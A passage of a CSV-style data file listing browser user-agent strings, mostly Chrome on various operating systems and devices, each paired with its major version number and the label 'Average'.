(KHTML like Gecko) Chrome/36.0.1985.143 Safari/537.36,36,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMS210 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36\",55,Average\n\"Mozilla/5.0 (Linux; Android 4.0.3; HTC One X Build/IML74K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.133 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-gb; SAMSUNG GT-I9505 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/27.0.1453.110 Safari/537.36,27,Average\nMozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/36.0.1985.143 Safari/537.36,36,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; GT-I9505 Build/JDQ39) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36\",36,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.52 Safari/536.5\",19,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11\",20,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7520.63.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/35.0.1916.153 Safari/537.36,35,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SGH-I337 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.57 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36\",35,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) CriOS/60.0.3112.89 Mobile/14G60 Safari/602.1\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",54,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.111 Safari/537.36\",42,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/63.0.3239.73 Mobile/13G36 Safari/601.1.46\",63,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Linux; Android 5.0.2; NX512J Build/LRX22G) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 Browser\",37,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-J510FN Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3204.0 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36\",50,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7647.73.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.92 Safari/537.36\",48,Average\n\"Mozilla/5.0 (X11; CrOS armv7l 9592.96.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.114 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36\",60,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.102 Safari/537.36\",38,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36\",62,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.60 Safari/537.1\",21,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; Nexus 4 Build/LMY48T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36\",40,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2480.0 Safari/537.36\",46,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) CriOS/63.0.3239.73 Mobile/15C202 Safari/604.1\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36\",57,Average\n\"Mozilla/5.0 (Linux; Android 4.0.4; BNTV400 Build/IMM76L) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.58 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36\",55,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.76 Safari/537.36\",56,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36\",42,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.75 Safari/537.36\",52,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Linux; Android 4.0.4; BNTV600 Build/IMM76L) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.58 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36\",64,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.89 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36\",65,Average\n\"Mozilla/5.0 (iPod; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H143 Safari/600.1.4\",44,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 10323.62.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.184 Safari/537.36\",65,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 7834.60.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.95 Safari/537.36\",49,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 8172.56.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36\",49,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/33.0.1750.154 Safari/537.36,33,Average\n\"Mozilla/5.0 (Linux; Android 7.0; LGMS210 Build/NRD90U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36\",62,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-gb; SAMSUNG GT-I9195 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (X11; CrOS x86_64 10176.72.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36\",42,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SM-N900A Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36\",30,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.86 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36\",39,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; A571VL Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/46.0.2490.76 Mobile Safari/537.36\",46,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36\",61,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\",60,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.70 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.81 Safari/537.36\",58,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.113 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.110 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Linux; Android 4.1.2; GT-S7262 Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36\",37,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; LGMS330 Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Mobile Safari/537.36\",50,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-D415 Build/KOT49I.D41510c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Mobile Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36\",54,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.82 Safari/537.36\",52,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.86 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.95 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.91 Safari/537.36\",40,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.87 Safari/537.36\",50,Average\n\"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; LG-V410 Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.103 Safari/537.36\",30,Average\n\"Mozilla/5.0 (Linux; Android 7.1.1; SM-N950U Build/NMF26X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36\",51,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Linux; Android 4.2.2; en-us; SAMSUNG SPH-L720 Build/JDQ39) AppleWebKit/535.19 (KHTML, like Gecko) Version/1.0 Chrome/18.0.1025.308 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/53.0.2785.109 Mobile/14A456 Safari/601.1.46\",53,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.1.0.0 Safari/537.22\",25.1,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LGL16C/V100 Build/KOT49I.L16CV11a) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/34.0.1847.118 Mobile Safari/537.36\",34,Average\n\"Mozilla/5.0 (en-US) AppleWebKit/537.36 (KHTML, like Gecko; Hound) Chrome/41.0.2272.118 Safari/537.36\",41,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-ca; SGH-I337M Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36\",28,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17\",24,Average\n\"Mozilla/5.0 (Linux; Android 4.1; Galaxy Nexus Build/JRN84D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19\",18,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; SM-G900F Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36\",30,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.101 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36\",63,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-G550T1 Build/MMB29K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.91 Mobile Safari/537.36\",55,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883 Safari/537.36\",55,Average\n\"Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36\",46,Average\n\"Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36\",45,Average\nMozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/28.0.1469.0 Safari/537.36,28,Average\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36\",43,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0\",49,Average\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31\",26,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.104 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19\",18,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 6.0; LGLS770 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile Safari/537.36\",38,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.90 Safari/537.36\",27,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36\",47,Average\n\"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; LG-V410/V41010d Build/KOT49I.V41010d) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.1599.103 Safari/537.36\",30,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.114 Safari/537.36\",35,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-J327P Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.111 Mobile Safari/537.36\",63,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36\",59,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36\",53,Average\n\"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-P600 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Safari/537.36\",28,Average\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36\",48,Average\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36\",44,Average\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36\",64,Average\n\"Mozilla/5.0 (Linux; Android 6.0.1; SM-J210F Build/MMB29Q) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36\",52,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36\",57,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.89 Safari/537.36\",50,Average\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.108 Safari/537.36\",49,Average\n\"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.97 Safari/537.11\",23,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.162 Safari/537.36\",65,Average\n\"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.21 Safari/537.36 MMS/1.0.2531.0\",53,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; LGL62VL Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/38.0.2125.102 Mobile Safari/537.36\",38,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Focus/1.1.2 Chrome/55.0.2883.91 Mobile Safari/537.36\",55,Average\n\"Mozilla/5.0 (Linux; Android 5.1.1; Coolpad 3623A Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36\",59,Average\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) 